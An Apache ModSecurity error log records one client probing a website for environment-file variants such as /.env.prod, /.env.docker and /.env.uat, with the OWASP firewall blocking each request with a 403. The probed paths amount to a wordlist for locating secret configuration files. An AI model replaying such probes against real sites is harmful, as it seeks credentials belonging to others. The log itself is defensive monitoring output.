[Sat Oct 24 06:02:29.246757 2026] [security2:error] [pid 2608663:tid 2608663] [client 35.246.138.204:48212] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env.save"] [unique_id "atyCNTOT1ZsOoHahaDY-UwAAAAY"]
[Sat Oct 24 06:02:29.340367 2026] [security2:error] [pid 2608663:tid 2608663] [client 35.246.138.204:48212] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env.old"] [unique_id "atyCNTOT1ZsOoHahaDY-VAAAAAY"]
[Sat Oct 24 06:02:29.340601 2026] [security2:error] [pid 2608663:tid 2608663] [client 35.246.138.204:48212] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env.old"] [unique_id "atyCNTOT1ZsOoHahaDY-VAAAAAY"]
[Sat Oct 24 06:02:29.340937 2026] [security2:error] [pid 2608663:tid 2608663] [client 35.246.138.204:48212] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env.old"] [unique_id "atyCNTOT1ZsOoHahaDY-VAAAAAY"]
[Sat Oct 24 06:02:29.432359 2026] [security2:error] [pid 2608663:tid 2608663] [client 35.246.138.204:48212] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.sample"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env.sample"] [unique_id "atyCNTOT1ZsOoHahaDY-VQAAAAY"]
[Sat Oct 24 06:02:29.432628 2026] [security2:error] [pid 2608663:tid 2608663] [client 35.246.138.204:48212] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env.sample"] [unique_id "atyCNTOT1ZsOoHahaDY-VQAAAAY"]
[Sat Oct 24 06:02:29.432966 2026] [security2:error] [pid 2608663:tid 2608663] [client 35.246.138.204:48212] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env.sample"] [unique_id "atyCNTOT1ZsOoHahaDY-VQAAAAY"]
[Sat Oct 24 06:02:29.532939 2026] [security2:error] [pid 2608663:tid 2608663] [client 35.246.138.204:48212] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.example"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env.example"] [unique_id "atyCNTOT1ZsOoHahaDY-VgAAAAY"]
[Sat Oct 24 06:02:29.533175 2026] [security2:error] [pid 2608663:tid 2608663] [client 35.246.138.204:48212] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env.example"] [unique_id "atyCNTOT1ZsOoHahaDY-VgAAAAY"]
[Sat Oct 24 06:02:29.533509 2026] [security2:error] [pid 2608663:tid 2608663] [client 35.246.138.204:48212] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env.example"] [unique_id "atyCNTOT1ZsOoHahaDY-VgAAAAY"]
[Sat Oct 24 06:02:29.619721 2026] [security2:error] [pid 2608663:tid 2608663] [client 35.246.138.204:48212] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.dev"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env.dev"] [unique_id "atyCNTOT1ZsOoHahaDY-VwAAAAY"]
[Sat Oct 24 06:02:29.619997 2026] [security2:error] [pid 2608663:tid 2608663] [client 35.246.138.204:48212] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env.dev"] [unique_id "atyCNTOT1ZsOoHahaDY-VwAAAAY"]
[Sat Oct 24 06:02:29.620348 2026] [security2:error] [pid 2608663:tid 2608663] [client 35.246.138.204:48212] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env.dev"] [unique_id "atyCNTOT1ZsOoHahaDY-VwAAAAY"]
[Sat Oct 24 06:02:29.707225 2026] [security2:error] [pid 2608663:tid 2608663] [client 35.246.138.204:48212] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.prod"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env.prod"] [unique_id "atyCNTOT1ZsOoHahaDY-WAAAAAY"]
[Sat Oct 24 06:02:29.707529 2026] [security2:error] [pid 2608663:tid 2608663] [client 35.246.138.204:48212] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env.prod"] [unique_id "atyCNTOT1ZsOoHahaDY-WAAAAAY"]
[Sat Oct 24 06:02:29.707896 2026] [security2:error] [pid 2608663:tid 2608663] [client 35.246.138.204:48212] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env.prod"] [unique_id "atyCNTOT1ZsOoHahaDY-WAAAAAY"]
[Sat Oct 24 06:02:29.795677 2026] [security2:error] [pid 2608663:tid 2608663] [client 35.246.138.204:48212] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.stage"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env.stage"] [unique_id "atyCNTOT1ZsOoHahaDY-WQAAAAY"]
[Sat Oct 24 06:02:29.795966 2026] [security2:error] [pid 2608663:tid 2608663] [client 35.246.138.204:48212] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env.stage"] [unique_id "atyCNTOT1ZsOoHahaDY-WQAAAAY"]
[Sat Oct 24 06:02:29.796333 2026] [security2:error] [pid 2608663:tid 2608663] [client 35.246.138.204:48212] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env.stage"] [unique_id "atyCNTOT1ZsOoHahaDY-WQAAAAY"]
[Sat Oct 24 06:02:29.885704 2026] [security2:error] [pid 2608663:tid 2608663] [client 35.246.138.204:48212] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.ci"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env.ci"] [unique_id "atyCNTOT1ZsOoHahaDY-WgAAAAY"]
[Sat Oct 24 06:02:29.885957 2026] [security2:error] [pid 2608663:tid 2608663] [client 35.246.138.204:48212] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env.ci"] [unique_id "atyCNTOT1ZsOoHahaDY-WgAAAAY"]
[Sat Oct 24 06:02:29.886344 2026] [security2:error] [pid 2608663:tid 2608663] [client 35.246.138.204:48212] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env.ci"] [unique_id "atyCNTOT1ZsOoHahaDY-WgAAAAY"]
[Sat Oct 24 06:02:29.988041 2026] [security2:error] [pid 2608663:tid 2608663] [client 35.246.138.204:48212] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.docker"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env.docker"] [unique_id "atyCNTOT1ZsOoHahaDY-WwAAAAY"]
[Sat Oct 24 06:02:29.988283 2026] [security2:error] [pid 2608663:tid 2608663] [client 35.246.138.204:48212] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env.docker"] [unique_id "atyCNTOT1ZsOoHahaDY-WwAAAAY"]
[Sat Oct 24 06:02:29.988604 2026] [security2:error] [pid 2608663:tid 2608663] [client 35.246.138.204:48212] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env.docker"] [unique_id "atyCNTOT1ZsOoHahaDY-WwAAAAY"]
[Sat Oct 24 06:02:30.085376 2026] [security2:error] [pid 2608663:tid 2608663] [client 35.246.138.204:48212] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.live"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env.live"] [unique_id "atyCNjOT1ZsOoHahaDY-XAAAAAY"]
[Sat Oct 24 06:02:30.085617 2026] [security2:error] [pid 2608663:tid 2608663] [client 35.246.138.204:48212] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env.live"] [unique_id "atyCNjOT1ZsOoHahaDY-XAAAAAY"]
[Sat Oct 24 06:02:30.085948 2026] [security2:error] [pid 2608663:tid 2608663] [client 35.246.138.204:48212] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env.live"] [unique_id "atyCNjOT1ZsOoHahaDY-XAAAAAY"]
[Sat Oct 24 06:02:30.180261 2026] [security2:error] [pid 2608663:tid 2608663] [client 35.246.138.204:48212] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.preprod"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env.preprod"] [unique_id "atyCNjOT1ZsOoHahaDY-XQAAAAY"]
[Sat Oct 24 06:02:30.180286 2026] [ssl:error] [pid 2608810:tid 2608810] (70014)End of file found: [client 34.206.193.60:38185] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 06:02:30.180433 2026] [security2:error] [pid 2608663:tid 2608663] [client 35.246.138.204:48212] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env.preprod"] [unique_id "atyCNjOT1ZsOoHahaDY-XQAAAAY"]
[Sat Oct 24 06:02:30.180665 2026] [security2:error] [pid 2608663:tid 2608663] [client 35.246.138.204:48212] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env.preprod"] [unique_id "atyCNjOT1ZsOoHahaDY-XQAAAAY"]
[Sat Oct 24 06:02:30.274924 2026] [security2:error] [pid 2608663:tid 2608663] [client 35.246.138.204:48212] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.uat"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env.uat"] [unique_id "atyCNjOT1ZsOoHahaDY-XgAAAAY"]
[Sat Oct 24 06:02:30.275168 2026] [security2:error] [pid 2608663:tid 2608663] [client 35.246.138.204:48212] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env.uat"] [unique_id "atyCNjOT1ZsOoHahaDY-XgAAAAY"]
[Sat Oct 24 06:02:30.275475 2026] [security2:error] [pid 2608663:tid 2608663] [client 35.246.138.204:48212] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env.uat"] [unique_id "atyCNjOT1ZsOoHahaDY-XgAAAAY"]
[Sat Oct 24 06:02:30.275582 2026] [security2:error] [pid 2608663:tid 2608663] [client 35.246.138.204:48212] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env.uat"] [unique_id "atyCNjOT1ZsOoHahaDY-XgAAAAY"]
[Sat Oct 24 06:02:30.275614 2026] [security2:error] [pid 2608663:tid 2608663] [client 35.246.138.204:48212] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env.uat"] [unique_id "atyCNjOT1ZsOoHahaDY-XgAAAAY"]
[Sat Oct 24 06:02:30.359627 2026] [security2:error] [pid 2608663:tid 2608663] [client 35.246.138.204:48212] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.dist"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env.dist"] [unique_id "atyCNjOT1ZsOoHahaDY-XwAAAAY"]
[Sat Oct 24 06:02:30.359889 2026] [security2:error] [pid 2608663:tid 2608663] [client 35.246.138.204:48212] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env.dist"] [unique_id "atyCNjOT1ZsOoHahaDY-XwAAAAY"]
[Sat Oct 24 06:02:30.360247 2026] [security2:error] [pid 2608663:tid 2608663] [client 35.246.138.204:48212] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "www.wapi1.sherwinpinturas.com"] [uri "/.env.dist"] [unique_id "atyCNjOT1ZsOoHahaDY-XwAAAAY"]
